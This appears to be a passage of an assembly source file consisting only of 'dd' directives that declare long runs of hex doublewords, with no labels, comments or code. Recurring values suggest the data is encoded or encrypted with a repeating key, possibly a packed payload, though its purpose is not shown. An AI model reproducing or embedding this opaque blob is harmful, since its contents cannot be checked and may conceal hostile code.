		dd 5A749344h, 8594E41Dh, 32156FF8h, 775EC888h, 0B2C3DEC1h
		dd 87EAE169h, 34016A3Ch, 32138F71h, 5AD86644h, 62A96893h
		dd 95BE39Ch, 0B71A609Ch, 32156640h, 53EC9F42h, 0DBECB6EEh
		dd 3215669Bh, 8945EEFEh, 4B5F9340h, 50F40592h, 9208231Bh
		dd 0BBD5A8C3h, 29B356A7h, 0B7D39F17h, 34016EC1h, 339E6908h
		dd 0CA156622h, 720D0EE8h, 8A75D5A7h, 9B49AD3h, 0CD744E97h
		dd 26194BA4h, 0B7989A8Eh, 34015D0Ah, 0DBC599DAh, 3215661Bh
		dd 4D93F57Dh, 1CA0E0FDh, 0B79C6CE9h, 340EC021h,	32156D61h
		dd 8F02B444h, 9C16F36Ah, 6A123C9h, 32156861h, 56598B44h
		dd 7BFACFDEh, 0F6475592h, 0F455F058h, 261D2FC1h, 20FC2024h
		dd 6A156611h, 0BE5B8E93h, 0F1D9EE62h, 0FDDDF83Fh, 0EEFA10BBh
		dd 34010E7Eh, 5275DC9Ah, 0BD1AD291h, 32156611h,	32138FE9h
		dd 2E2E6644h, 176F9C6Ah, 87EA9F70h, 34016AA5h, 7C90EBB8h
		dd 0C7137219h, 3D75B6EEh, 32156902h, 321F8F44h,	1EAC6622h
		dd 7D5C754Dh, 7C251C7Fh, 55AB96FBh, 0B79C076Dh,	340EC029h
		dd 0EDA30671h, 53CCD94Bh, 3A5CE3E4h, 3D526005h,	32156A0Bh
		dd 34946944h, 3D156622h, 32156697h, 487D9A88h, 5294BA54h
		dd 2CDAE744h, 0B373356Fh, 68C49951h, 1FA09925h,	5213722Eh
		dd 0D2AEB090h, 53ED7C2Ah, 95BE3C9h, 0B3756036h,	61F56CF0h
		dd 309E6997h, 64156644h, 0BD1A077Bh, 32156616h,	3214EA87h
		dd 0CDE96644h, 0B61A06F2h, 32156611h, 53DB8708h, 9455E3CDh
		dd 39FC6039h, 46156611h, 6C49EF7Fh, 5955E106h, 0B7D367D1h
		dd 34016E58h, 32058FCFh, 7FDF6644h, 999EBAF0h, 7A6BE894h
		dd 0E85A9014h, 9E7DC407h, 3DFAE1ACh, 32157F95h,	53750688h
		dd 321576ADh, 18921A22h, 8DE29C3Eh, 0A3D82691h,	1AA0D621h
		dd 87EA070Ch, 34016A3Ch, 0E29400E8h, 0DB43DC76h, 32156629h
		dd 0C8315C49h, 0B1EA1F96h, 6A11CE8Dh, 7C90EB43h, 3D13722Ah
		dd 3215670Ch, 0E2EA9344h, 3AFC9342h, 7B156611h,	0E5F1017h
		dd 533E7759h, 9451E3ABh, 0B375600Ah, 0FC94E56Fh, 0EB9E0002h
		dd 7B90A043h, 75137219h, 95C70E7Dh, 26FCB2DEh, 156622h
		dd 0F15DADA5h, 497AE431h, 3228B75Eh, 0F1A2EBBBh, 0CD906BCFh
		dd 26194B3Dh, 33966942h, 0CA156622h, 7C90EBEDh,	3D1372B3h
		dd 321561CAh, 33986922h, 0CB156611h, 0CA75B677h, 0B79C07B1h
		dd 340EC06Ah, 53D3ED71h, 3A5CE34Eh, 0DB526050h,	3215662Ch
		dd 0A67AB34Ch, 0D47407AAh, 1907B604h, 367D8A1Eh, 0DBAFA728h
		dd 3215668Eh, 0D6EF0C97h, 87EAAB6Eh, 34016A3Ch,	32068F70h
		dd 1B806644h, 280C2FC7h, 70F86936h, 5883D3Ch, 0F146BC6h
		dd 7C90EBD2h, 0DB13722Ah, 32156681h, 0CDFF3757h, 54DCEFE8h
		dd 52C5995Bh, 4C593731h, 0B79C0758h, 340EC06Eh,	321563F8h
		dd 0FC53BF88h, 8F963915h, 3401647Bh, 4E906911h,	0C7156688h
		dd 3A5CE382h, 0DB526036h, 32156618h, 0F85B98B6h, 0B9E16776h
		dd 1F720E81h, 34FC8663h, 0FB156688h, 8EE0E24Ah,	0B37306C3h
		dd 539E85CAh, 3E38D377h, 54756050h, 36DC8DA3h, 0F4EDDD71h
		dd 0CA9E3B24h, 0B7980725h, 34015D6Ch, 32198F71h, 64266688h
		dd 0EBDE55CEh, 8E4E53EDh, 0DA47337Eh, 3215668Fh, 68807F1Eh
		dd 6CC32220h, 0E2EA074Eh, 0B79C9F7Dh, 340EC014h, 3214EF2Dh
		dd 0F4EC6611h, 261D2F0Dh, 5AE02142h, 0BC3CD593h, 6568DC71h
		dd 3AFC4482h, 17156644h, 0E4C48323h, 53E860EEh,	1FA09974h
		dd 0DB137248h, 32156628h, 9BDB0877h, 0BC4CDC91h, 38FC148Eh
		dd 3F156622h, 0B99AF86Bh, 64B02AB4h, 7C90EBE0h,	0CA137219h
		dd 32048F71h, 0A22F6688h, 0C1B56F21h, 0A08FFB06h, 875A317Dh
		dd 87E2D0A5h, 0E2EA0780h, 6BAD0042h, 32138F61h,	2B4A6688h
		dd 0FC3905E4h, 6690EF43h, 0DB137DB7h, 32156687h, 8E90E767h
		dd 0E2F0A0B3h, 6AD45290h, 0F4ADB7E7h, 261D2FC1h, 23FC2524h
		dd 0D8156611h, 0C0CA9024h, 47A497DEh, 0D8FE75B4h, 8AD33C00h
		dd 3212E987h, 0B61A6644h, 32156623h, 78B20EE8h,	23FCA6FEh
		dd 0F8156644h, 0CAE1A6AAh, 0BFE82D77h, 6E21905Bh, 974EFA5Fh
		dd 32156ECBh, 13230A11h, 8DF0C9CCh, 1FA099E3h, 5213722Eh
		dd 0ED02DD77h, 533B8708h, 95BE3C9h, 0B3756036h,	10D62BD9h
		dd 0E2EA07E1h, 321572ADh, 87D68222h, 0C4681AA8h, 2053D326h
		dd 8AF78175h, 598F8ADFh, 6A90EFFCh, 0C7137D2Eh,	3A5CE382h
		dd 0DB596036h, 3215661Ah, 9E01EDAFh, 8E4B88BCh,	5A638822h
		dd 0C9730AFAh, 379069E8h, 54156644h, 0B1DC95A3h, 0D978D977h
		dd 57A099E9h, 5213726Dh, 32156FCAh, 0B6CD1111h,	0C4B0687h
		dd 22FCAA64h, 0A1156622h, 50AF2E4Dh, 0E63EEC76h, 0C30BA4F5h
		dd 68C0E16Fh, 53AC8D91h, 95BE305h, 0DB756050h, 32156636h
		dd 0ECFDED3Ah, 4D6444CCh, 614B29FEh, 0E79995AAh, 5747DC89h
		dd 53D5D187h, 8275B6BBh, 319B69DCh, 54156611h, 0BB749503h
		dd 29B38AC1h, 27936924h, 0DB156611h, 32156698h,	5BF718ACh
		dd 0DE09998Eh, 0C0AA2C1Ah, 95DB2232h, 3A5CE382h, 0CB516036h
		dd 419B3379h, 87EA9F33h, 34016A69h, 32078F42h, 4D96611h
		dd 0F1B5DFC9h, 67DF65D5h, 0E6E58BC7h, 89C5B9B5h, 32157260h
		dd 4002F744h, 36A133B1h, 0BB8640E8h, 0D09B47A8h, 1C2859DDh
		dd 32078FA1h, 9CAD6611h, 79FDE88Fh, 912CB36Bh, 9284680Eh
		dd 0D5A9F57Ah, 0B79807D2h, 34015D0Ah, 3212E92Dh, 0B31A6611h
		dd 32156689h, 0CAC599B8h, 9449E3ABh, 0F4E0600Ah, 261D2F0Dh
		dd 5AEC2542h, 8E9B08DEh, 1FA099E4h, 0DB137284h,	32156650h
		dd 429DBCD0h, 4EE49926h, 590015FDh, 0D4974072h,	58C56EC1h
		dd 95BE39Ch, 0DB75609Ch, 3215664Eh, 1A31864Eh, 49B289D6h
		dd 0B01A729Ah, 32156646h, 0CD74C194h, 0B79C93C1h, 340EC0E8h
		dd 7B90A0BDh, 6113722Ah, 0CBF0EEDh, 38FCA098h, 29156644h
		dd 0EB9C5C65h, 3642CD7Ch
		dd 1FA099FAh, 52137248h, 321575CBh, 791B6011h, 0FE42256Dh
		dd 0ADC7C4h, 0A35F7B35h, 9BCFFBF5h, 8C9CDEEEh, 7C90EB25h
		dd 3D137219h, 3215719Dh, 32078F88h, 9F0A6644h, 1589C118h
		dd 7ADBF980h, 48C697C4h, 700AAAA0h, 0B375B6DDh,	9A6265C0h
		dd 3DFC06D2h, 1C156644h, 9CF45160h, 6050207Fh, 0A3275C5Eh
		dd 53E9F338h, 5690EF43h, 0DB137DB7h, 3215669Bh,	0C8A105ECh
		dd 2428512Ch, 65BC32D4h, 1E4C6E6Ah, 0B1D20038h,	2603779Fh
		dd 0B61A6617h, 321565ABh, 7B90A0BDh, 7413722Ah,	0FC240EEDh
		dd 0B3759C1Eh, 0DC021BA3h, 30996951h, 87156611h, 5475070Fh
		dd 38D7A5C5h, 0CD74A5A8h, 26194BA4h, 0B798938Eh, 34015D0Ah
		dd 0B51A06DEh, 32156611h, 441CAE09h, 0CD740ED8h, 0B79C9FF2h
		dd 340EC0D1h, 3214E187h, 52ED6644h, 4E08A1A3h, 0EC947570h
		dd 11543661h, 7B90A025h, 7413722Ah, 0B3733571h,	69630067h
		dd 0F7EAF3FEh, 0B21A0725h, 3215660Bh, 32068FE8h, 0C2F16644h
		dd 0E22F3A67h, 0C4E4FF5Dh, 45D9DAC2h, 594C37E4h, 0E47D07B8h
		dd 0C7E9C12Bh, 3E38D377h, 0BE1A6050h, 3215662Ah, 329D6971h
		dd 53156688h, 0DBDEED24h, 32156624h, 99FE34A9h,	0BF743D2Dh
		dd 262E28C1h, 27956924h, 0DB156611h, 32156698h,	0AFEAF00h
		dd 353F49B8h, 0FF78F55Bh, 8E7DC4D4h, 3DFCB6BBh,	91156622h
		dd 9B1F8B16h, 0E6C43575h, 6A4CEAD3h, 0B79C3FF5h, 340EC0C1h
		dd 3204EE87h, 3EFC6644h, 15156622h, 0CAA14F73h,	0E1AC342Eh
		dd 0F4153B26h, 261D2FA7h, 54752017h, 5ECAB509h,	96150E25h
		dd 0B71AF4DEh, 3215661Fh, 32156F61h, 3FA2744h, 0E5B96798h
		dd 87EA854Ch, 34016AA5h, 0CBE3D124h, 7C90EB43h,	5213722Ah
		dd 531ED770h, 39FCB6BBh, 89156622h, 21671E9h, 32D82FD9h
		dd 0B79C61CDh, 340EC0F6h, 0B01A3071h, 32156688h, 0B7D3071Dh
		dd 34016E6Bh, 8D1A0657h, 0B3733478h, 6CBB73B6h,	7D7F0E43h
		dd 0B11A90C5h, 32156685h, 32156EADh, 48297F22h,	0CF5DF306h
		dd 1FA09974h, 0DB137248h, 3215662Dh, 79798014h,	8046EE3Bh
		dd 0A180BE1Ah, 0BFFF6304h, 262E2894h, 32068F8Eh, 9E926644h
		dd 0BC5B1C7Fh, 0D857F560h, 87DD528Ah, 290F83F4h, 0CEC59980h
		dd 94CDE398h, 0DB756093h, 3215664Fh, 0C92DD5h, 81C5A102h
		dd 3D0B2AF7h, 0F474BEF3h, 261D2FA7h, 3D752017h,	3215670Eh
		dd 87479F44h, 5A743E5Ah, 0A6D836F6h, 1FA09970h,	0CA137248h
		dd 95BE3AFh, 3D756005h,	0DA439F3Fh, 3215664Dh, 3D91BE55h
		dd 122B3871h, 534D3F44h, 0B2D4ED24h, 0CD74BDF0h, 0B79C9AC1h
		dd 340EC04Ch, 32156AADh, 0BE9BA522h, 73F1A3F7h,	9B87FFD7h
		dd 7B90A091h, 7413722Ah, 462E0EE9h, 0CDE0D7AAh,	26194BF1h
		dd 0B7989324h, 34015D5Fh, 52C59974h, 4B23F1FAh,	97AC006Eh
		dd 0B79C07B7h, 340EC040h, 0B7D39AB8h, 34016E6Bh, 3DFC9E57h
		dd 0FD156688h, 0C35BC148h, 7DD9D23Fh, 0E291ADC1h, 0DF7D4E5Eh
		dd 3DCA1FAEh, 32157CAEh, 0DAE00611h, 32156699h,	0BA37C324h
		dd 43136D0Ah, 7AD8E78Ah, 0BC7EEB0Dh, 0CD743F00h, 26194B97h
		dd 0B01A9E17h, 32156684h, 3213E54Bh, 0BC1A6622h, 32156611h
		dd 95BE305h, 0CDEC6050h, 3FFC06F2h, 22156611h, 9213EE98h
		dd 44A5E92h, 884257C0h,	32156EF9h, 4FED9788h, 701294DEh
		dd 534F9F74h, 32156AF8h, 0E88CF188h, 5BC039A9h,	0C053F37Fh
		dd 0FE90EF0Ah, 52137D2Eh, 0B1749ABCh, 26173F9Fh, 0B71A6617h
		dd 321566D5h, 7B90A0B8h, 6113722Ah, 0D24B0EEDh,	0CDECA836h
		dd 26194BF1h, 339E6924h, 0C7156611h, 7C90EB70h,	5213727Fh
		dd 0C829DD44h, 0DBC59970h, 3215669Bh, 74EEBB58h, 95ABB2Ah
		dd 0E10BB203h, 6630DA91h, 5229EC0Dh, 3217E32Dh,	0ED9E6611h
		dd 64F5E7EEh, 0B79C07AFh, 340EC04Ah, 0E39E0071h, 7B90A0E9h
		dd 7513724Ch, 339E69DBh, 0C7156611h, 834BE1E0h,	0DB440683h
		dd 32156624h, 90431DBAh, 0DA4EF5E2h, 32156656h,	0F281E34Bh
		dd 0E46F7391h, 4864515Ah, 876F8CAEh, 0E495DDC8h, 0CD743C1Fh
		dd 26194B3Dh, 32018F42h, 8C286622h, 90AFEE45h, 9B3E56Eh
		dd 496E587Fh, 994BF1A4h, 0B7985F7Fh, 34015DC6h,	0F9AF0024h
		dd 32138F5Fh, 0EFAE6611h, 63DCDB8h, 3A976925h, 3D156622h
		dd 3215649Ch, 0CD740688h, 0B79C9394h, 340EC04Eh, 6BA8E5E8h
		dd 3213728Ah, 32BAE34Bh, 0B51A6622h, 32156619h,	54B7D3E8h
		dd 53AD73FCh, 321572CBh, 0EBA84811h, 37642E31h,	0CA2A88BFh
		dd 36A6E1A9h, 5CDD01DFh, 7B90A030h, 7513724Ch, 3212EC2Dh
		dd 54756611h, 0B78C8109h, 3BFC0625h, 0A4156622h, 24D8C9CDh
		dd 0AC223FDDh, 321574ADh, 616EF022h, 25946386h,	0E8075FEAh
		dd 30C8CB6Ch, 53C9067Fh, 506B6379h, 32128F6Eh, 68996644h
		dd 3E2F9651h, 1FA09931h, 0DB137284h, 32156641h,	0EEC4ED30h
		dd 7C90EBA1h, 521372B3h, 0FCDB30FBh, 32058F74h,	2B626611h
		dd 53B1D080h, 0DFA15A57h, 1669ECABh, 0CD74E785h, 0B79C9E58h
		dd 340EC034h, 7B90A0D7h, 71137219h, 3200E487h, 22FC6644h
		dd 2B156622h, 0E37B3535h, 592F7FA1h, 56E28F09h,	5A88A0DBh
		dd 0A06F6FE7h, 32156161h, 0FBE4A444h, 0D94CB75Ch, 3E38D3EEh
		dd 3EFC609Ch, 0C1156644h, 581374EFh, 82A1078Eh,	0BF507FE2h
		dd 262E28C1h, 32108F24h, 0BA316611h, 0CDA3A7E2h, 22936994h
		dd 0DB156622h, 3215661Ah, 4B711178h, 0A8EA5CD1h, 0BB13325Eh
		dd 29B31294h, 219B698Eh, 0DB156644h, 3215662Ch,	4F00B3F2h
		dd 3ED018DDh, 0C459B111h, 0B7D3A89Dh, 34016E58h, 3E9869CBh
		dd 3D156644h, 321560A3h, 32916911h, 5A156688h, 0CE34F164h
		dd 3205E42Dh, 39FC6611h, 9B156688h, 7F9D85h, 1BC1C5C3h
		dd 87EAC397h, 34016AA5h, 321DE04Bh, 0B71A6622h,	32156613h
		dd 0B79807E8h, 34015D0Ah, 32058F42h, 8AC6611h, 0D75C5F03h
		dd 0C78D80EDh, 2802AF4Ah, 22FC94E4h, 8C156688h,	42D9C12Eh
		dd 7C62BC09h, 77F89E10h, 53B9167Fh, 23FCB6BBh, 19156622h
		dd 0F98AD277h, 0D685759Dh, 0A0419E26h, 21B3CD74h, 946DE398h
		dd 0B1E06093h, 26173FF9h, 0B71A6624h, 3215672Fh, 0DAEEEDE8h
		dd 3215664Bh, 0FF39234h, 5A98569Eh, 59A243F9h, 52E32E4Ch
		dd 52743C43h, 6AC1DCEDh, 0F4744D6Fh, 261D2FC1h,	3D752524h
		dd 32156590h, 0CC9E0088h, 0E1D2E722h, 317D0766h, 529E66B9h
		dd 0AA97B109h, 0CD744954h, 26194B97h, 0C0940617h, 53BB9E1Eh
		dd 3215E74Bh, 0BF746622h, 262E2894h, 0E2EA9E8Eh, 3208EF4Bh
		dd 54756622h, 0DBEC7BAEh, 3215669Ah, 0EB817A03h, 0A663E720h
		dd 2A2DEF6Ah, 0D2DC4DDDh, 0BB745F1Fh, 29B3E6A7h, 3A956917h
		dd 3D156688h, 321564C3h, 52740622h, 32138F71h, 0D60D6688h
		dd 0C9B232Eh, 3215EC2Dh, 3D746611h, 32156704h, 0F4749A44h
		dd 261D2FA7h, 3AFC2517h, 9C156688h, 0CF0E0DACh,	5283277Fh
		dd 3216E31Eh, 0B9736688h, 0E77D0793h, 0DBF03D14h, 3215661Ch
		dd 0EBF7284Eh, 3B0B6CD4h, 474F80A9h, 1FA09970h,	0C7137284h
		dd 95BE3C9h, 54756036h,	0BCFBB690h, 6DD0DCEEh, 321F8F25h
		dd 0EF46622h, 0ED749F3h, 28176E5Dh, 0B975B6BBh,	39FC06E3h
		dd 82156611h, 17835964h, 0F383E5D2h, 0B5AB3F08h, 53020CD3h
		dd 4E90EFE9h, 3D137DE2h, 321567A2h, 0B7D39F11h,	34016EC1h
		dd 0B9730607h, 32068FEDh, 60D46611h, 0DBC28E52h, 6BD71C5Dh
		dd 0B8772864h, 9361BE96h
		dd 0D37D07ECh, 52FFCC76h, 0CFCCE742h, 0DB5A8772h, 3215669Bh
		dd 1BFDC84h, 4165E249h,	0B83CDB7h, 0DB8221A6h, 53536B9Dh
		dd 32156ACAh, 626B8011h, 0AA199419h, 0ADA90D2Fh, 5FAA0061h
		dd 0DB743800h, 3215669Bh, 0B4331474h, 0F2997676h, 1E9017D9h
		dd 938F6400h, 0CD6827D6h, 26194B97h, 0D2940617h, 160FC822h
		dd 321563ADh, 0F4362722h, 0BF74F886h, 262E280Dh, 37996942h
		dd 52156622h, 534D30E8h, 5475B677h, 3DCF05FCh, 0BB74B49Dh
		dd 29B3E294h, 2E9B698Eh, 52156644h, 21FC85A8h, 29156611h
		dd 4CD0F1Eh, 9B739061h,	17FAD303h, 499873B4h, 0F474BB68h
		dd 261D2FC1h, 61752524h, 3215E91Eh, 0B34F6688h,	1005382h
		dd 57D0703h, 529197BDh,	3D7406E8h, 321566C0h, 0CD740722h
		dd 26194BA4h, 0B798938Eh, 34015D0Ah, 320CEA2Dh,	0B71A6611h
		dd 3215669Bh, 321568ADh, 600CF722h, 66DB9553h, 5E329790h
		dd 0CD268DDEh, 321F8FF2h, 0F2B6611h, 8155191Fh,	1479D5ABh
		dd 949DE3ABh, 3BFC600Ah, 0F8156688h, 0CD6F3204h, 88BA75F8h
		dd 3A5CE3D7h, 525A609Ch, 0C0AA69B1h, 0A2C10E43h, 3FFCF124h
		dd 0D0156688h, 446CD157h, 3F391E9Eh, 0F92E70EAh, 3E38D377h
		dd 0DB756050h, 32156628h, 0FAB96268h, 5F5CD7B5h, 0EC9ED21Fh
		dd 7C90EB43h, 5213722Ah, 329969E8h, 53156644h, 0CD743C75h
		dd 229569C1h, 52156688h, 32156FADh, 9321C722h, 0E872CB5h
		dd 0BB74BE8Dh, 29B3EAC1h, 0B7D39F24h, 34016E58h, 0F59506C7h
		dd 321F8EFEh, 0D2F86622h, 0F8DF100Eh, 17AD9C1Eh, 97DAE722h
		dd 5A743D2Ah, 0CB7B6813h, 32156C61h, 273B3144h,	0EF3B895Ah
		dd 0CD07F914h, 26194B3Dh, 0B7989F42h, 34015D6Ch, 3201EC1Eh
		dd 3DFC6688h, 86156644h, 89381ED1h, 0A9FAAD78h,	3AD5AA9Fh
		dd 0E2EA1E43h, 3214EA2Dh, 0BBEC6611h, 29B3F60Dh, 35946942h
		dd 3D156622h, 32156797h, 0B7D39A88h, 34016E0Dh,	54759E6Fh
		dd 0BE1AB09Ah, 3215668Dh, 99E5E722h, 7B7D07E4h,	0C7DD5168h
		dd 3E38D377h, 23FC6050h, 50156622h, 0B3922C1h, 0F66236FCh
		dd 0F2A8B9A3h, 67773DF1h, 95BE39Ch, 0DBE0609Ch,	32156648h
		dd 0D86692EBh, 2EE08278h, 0D503296Ah, 0BBE9B6BBh, 29B3FEA7h
		dd 0B7D39A17h, 34016EC1h, 39946909h, 52156622h,	3DEBED77h
		dd 32156603h, 0BB7D0744h, 3DC9916Fh, 3215679Ch,	87EA9F88h
		dd 34016A69h, 0EA9E0042h, 0AE3BD977h, 7C90EBE9h, 3D13727Fh
		dd 321567AEh, 0E2EA9A11h, 0A690EF71h, 52137DE2h, 0F4749DA9h
		dd 261D2F94h, 5AE0338Eh, 0AE0E4B73h, 321DE22Dh,	0BE1A6611h
		dd 3215668Ah, 87EA0724h, 34016A0Fh, 53CCED71h, 95BE305h
		dd 0B81A6050h, 3215662Dh, 32156CF8h, 33F8FA88h,	0BA7E259h
		dd 0CD4E30E0h, 0C59E06C1h, 0E11EDCEEh, 0AE90EF25h, 52137D84h
		dd 3DAEA49Ah, 534C10A7h, 3A5CE382h, 3D566036h, 32156995h
		dd 321F8F88h, 0D3A6644h, 9D172151h, 3B2CAD42h, 0E7E54CE0h
		dd 0CB9E0696h, 321561CAh, 9871F411h, 5DA44DB5h,	321569ADh
		dd 2A04BE22h, 0D5FC7B15h, 5203B822h, 178D905Bh,	87EA0778h
		dd 34016A3Ch, 7C90EB71h, 3D13727Fh, 321567A7h, 0E2EA9E11h
		dd 3214E787h, 52E96644h, 3213E52Dh, 0BF1A6611h,	32156688h
		dd 53C5ED22h, 94B5E3ABh, 3AFC600Ah, 0FC156688h,	39C56930h
		dd 0F49B2B6Ch, 261D2F94h, 5AEC348Eh, 0CF57D2AEh, 53750642h
		dd 319A6970h, 54156688h, 0CD7491CFh, 26194B97h,	38986917h
		dd 52156688h, 0DB99AAFFh, 0C3A2697Bh, 7C90EB70h, 3D1372B3h
		dd 321575C0h, 321B8F22h, 6376611h, 0DD1911A0h, 76E0656h
		dd 0D808119Dh, 0BBEDB6EEh, 2630730Dh, 0B9730642h, 53ED06E3h
		dd 7B90A070h, 75137280h, 321572ADh, 0E69A422h, 0BE76265Eh
		dd 4BE202ADh, 3AFC7272h, 633B7D44h, 379B692Eh, 52156688h
		dd 53C4ED22h, 0AA4CFF4Ah, 32068FF3h, 3CC36688h,	0BB0802DFh
		dd 3C3B2878h, 0DD96C332h, 0AF8F304Bh, 1FA099A4h, 3D13722Eh
		dd 3215679Bh, 0B7989388h, 34015D0Ah, 3201E92Dh,	3DFC6611h
		dd 0F3156688h, 8D6E9422h, 4A75FFDFh, 9F0D8601h,	0E2EAB485h
		dd 9690EFB1h, 3D137D84h, 32157E96h, 32068F88h, 0BD96644h
		dd 0D4A199F6h, 0EE334E6Ch, 666FC517h, 0BD2B0150h, 7B90A009h
		dd 75137219h, 32157761h, 12C9C744h, 0EEDAEC98h,	96ABEB47h
		dd 7BBFDE61h, 0F07DE834h, 0CAA49B42h, 3E38D3EEh, 34FC609Ch
		dd 0A1156644h, 141340D0h, 32108F43h, 31736688h,	0BF9FA835h
		dd 262E28A7h, 32188F17h, 0C2056688h, 36A8DD95h,	0B14E7402h
		dd 0CDC87094h, 0B91A9F58h, 32156655h, 32156ACBh, 8A569E11h
		dd 348DA7FCh, 0BE879C74h, 9A90EFE8h, 3D137DB7h,	32156704h
		dd 0B7D39344h, 34016E6Bh, 0F1940656h, 492ACF3Ch, 267D07B8h
		dd 0C7CAC0DCh, 3E38D3EEh, 0BFEC609Ch, 262E28C1h, 0B3730624h
		dd 52AA24FAh, 0F58DDEEh, 321577ACh, 8DFA022h, 8515DDAFh
		dd 77499854h, 52FEB744h, 534C61B8h, 3DC59970h, 32156002h
		dd 0EC9F0644h, 0BB74EF91h, 29B3CA94h, 0B7D39F8Eh, 34016E0Dh
		dd 0B71A9A7Dh, 32156616h, 3214E687h, 5AED6644h,	0AC45944Ah
		dd 3DE5ED71h, 0CD74B03Fh, 26194BF1h, 32128F24h,	0B5066611h
		dd 0BB2FB43h, 39966929h, 52156622h, 3DBD8A91h, 32156602h
		dd 0B7980744h, 34015D6Ch, 3DC599E8h, 32156A02h,	32128F44h
		dd 90046622h, 77D0A79Ah, 32078FD7h, 0FBA46644h,	6DCA1F1Ch
		dd 5458F0C6h, 4BDE75FEh, 6C8C45E6h, 94A5E3ABh, 0F4E0600Ah
		dd 261D2F0Dh, 0DB752942h, 32156624h, 0F5464D16h, 0C29F4E18h
		dd 492A0E25h, 0CDE9A1DEh, 26194BA4h, 2B9E698Eh,	3D156644h
		dd 321575ABh, 321B8F11h, 703D6688h, 37C035A5h, 9C031265h
		dd 84349E04h, 61F9DEE8h, 0BF74405Eh, 262E28A7h,	35956917h
		dd 3D156688h, 321567CFh, 0E2EA9322h, 321EE01Eh,	34FC6688h
		dd 3F156644h, 0ABD431FCh, 3E9769CDh, 3D156688h,	321560C0h
		dd 329E6922h, 0BB156611h, 29B3BA0Dh, 11AF0642h,	0DB5215C3h
		dd 32156602h, 125E6DF3h, 0DED965D7h, 4175FCF9h,	26AD8507h
		dd 53FB6FF3h, 3A5CE382h, 52526036h, 13DAA690h, 0C7421368h
		dd 7E7D071Bh, 0DBEF3D4Ch, 32156603h, 0F459A1A7h, 89AB5C8Eh
		dd 0CCC9D122h, 0E315234Dh, 87EA0663h, 34016A69h, 0C8AE0042h
		dd 29AE0055h, 26FC0705h, 60156644h, 73A1A66Ah, 0F475811Eh
		dd 1C03920Eh, 5BA361A2h, 0BFAD1E1Ah, 262E2894h,	851A068Eh
		dd 531DD09Fh, 0B01AB6DDh, 32156600h, 32156A61h,	837F7E44h
		dd 635B0BAh, 0A73FB347h, 0D290EF65h, 0DB137DE2h, 3215662Fh
		dd 0D982EFE1h, 0D96BE5F6h, 88F29F33h, 7B90A045h, 75137219h
		dd 320AEA87h, 8A756644h, 5FC83F0Eh, 321575F8h, 0F1381688h
		dd 43CCE3C8h, 0A3821966h, 2B76DD3Eh, 0F18A5AA4h, 16D80E25h
		dd 0CDECA524h, 26194BA4h, 0B31A068Eh, 32156641h, 0C74EDA9Bh
		dd 44D5E758h, 535DDAEAh, 95BE3C9h, 34FC6036h, 55156611h
		dd 6F83816Dh, 3DC59968h, 321575ADh, 321B8F11h, 64E46688h
		dd 0EE127ACCh, 0FF12A58Ch, 7E42A5EFh, 94F1E301h, 22FC605Fh
		dd 80156622h, 0C64ECB77h, 1443711Dh, 0E2656D66h, 0F4E89DC0h
		dd 261D2F94h, 21FC398Eh, 7156644h, 24FCECA6h, 59CA43D8h
		dd 14957D38h, 79C037E0h, 0FE7D7DD8h, 0C7C1DD71h, 3E38D377h
		dd 3D756050h, 321563A2h, 0EB940011h, 3DFC7102h,	5D156644h
		dd 26D43EF1h, 0E77B6943h
		dd 4695BFFAh, 0BF74CEADh, 262E28A7h, 33986917h,	0CE156688h
		dd 0B81AB6BBh, 32156623h, 8690EFEDh, 52137D2Eh,	65CBED22h
		dd 534B3E74h, 3A5CE3D7h, 0DB4A609Ch, 3215664Bh,	56970AEDh
		dd 3293ACCBh, 40598C0h,	5A5B3429h, 0ACFC326Ch, 3219EC1Eh
		dd 35FC6688h, 0B8156644h, 478D0095h, 87EA27B6h,	34016AA5h
		dd 7C90EBB1h, 52137219h, 3213EE1Eh, 0B61A6688h,	32156644h
		dd 7D36D198h, 0E2EA075Ch, 32156161h, 2D533E44h,	6DF76A3Eh
		dd 32156FF8h, 3969D988h, 8A39737Eh, 0B79C76B5h,	340EC0A9h
		dd 32156A61h, 3F6BAB44h, 0EF27D07h, 0AC9F8519h,	7B90A0D7h
		dd 6D13724Ch, 32048E42h, 1B2E6611h, 6E523BDBh, 0EA38C978h
		dd 4119DD58h, 8D2C4513h, 708B1BD9h, 20FC071Dh, 0FD156622h
		dd 85296298h, 0EC8A07F0h, 27562535h, 1C8AD799h,	1A5D0E1Ch
		dd 0CDE9B79Bh, 26194BF1h, 33916924h, 0CB156611h, 95BE305h
		dd 0B91A6050h, 32156623h, 3DC599E4h, 32157A07h,	23FC0644h
		dd 8F156622h, 0D70F41EEh, 4307E0B4h, 233E3B8Bh,	58863F0Bh
		dd 3831DC77h, 8E90EFE9h, 0CA137DE2h, 321AEE2Dh,	65756611h
		dd 32108ED7h, 0A26D6644h, 693F8DF1h, 3D110C70h,	3215670Eh
		dd 327D9A44h, 3D156632h, 32157599h, 321B8F88h, 51C06644h
		dd 44EAE031h, 449918FBh, 39A826A1h, 3205662Ch, 0DA759F22h
		dd 32156600h, 5EDBD12h,	33A614B3h, 0EE418449h, 5DDFBB74h
		dd 0EC9E007Bh, 0D4AE001Ah, 327F0788h, 3B8099E9h, 52137296h
		dd 32156EACh, 0DF380422h, 0B816B779h, 6A4B3736h, 53D3ED22h
		dd 0B2EBED42h, 0BB7487F9h, 2619670Dh, 33996942h, 0CB156622h
		dd 6377E39Ch, 0B81A6093h, 32156645h, 0B97506DBh, 0D2D3E7C8h
		dd 531D1855h, 6B4DD716h, 52C59943h, 7487AC90h, 0A4AB3874h
		dd 5357A5CBh, 8B756248h, 1D1B5381h, 0D1F6E7EEh,	0B71A07DFh
		dd 32156623h, 22150EE4h, 0B71A6688h, 32156645h,	32188FDBh
		dd 0B5606611h, 489E2BC5h, 71A1928h, 5AD863B9h, 32154611h
		dd 0E3A269E8h, 32156EACh, 3D217122h, 0AD65C681h, 0FC9E005Fh
		dd 327F071Eh, 349C6942h, 3D156611h, 3215660Ah, 0CDEC0744h
		dd 260B6FB7h, 0F2940617h, 1CBB6DB5h, 0D1F0BAFCh, 0B79C0736h
		dd 34017780h, 0AAB00E8h, 0F8F0E653h, 0E790EF43h, 0DB137215h
		dd 32156683h, 8B904AF4h, 0F948C98Eh, 587FD2C2h,	1CAA06C8h
		dd 0DB7802AEh, 32156624h, 0F2DE4A1Fh, 5A749FD9h, 32157644h
		dd 321577CBh, 5190D811h, 0A2642B0Bh, 539D4796h,	68E9F96Dh
		dd 0B2754452h, 6BAF1B6Bh, 53565A93h, 3315664Ah,	3EFD0611h
		dd 83156688h, 5BE9C2E7h, 0F77E94D4h, 54F68846h,	634DB003h
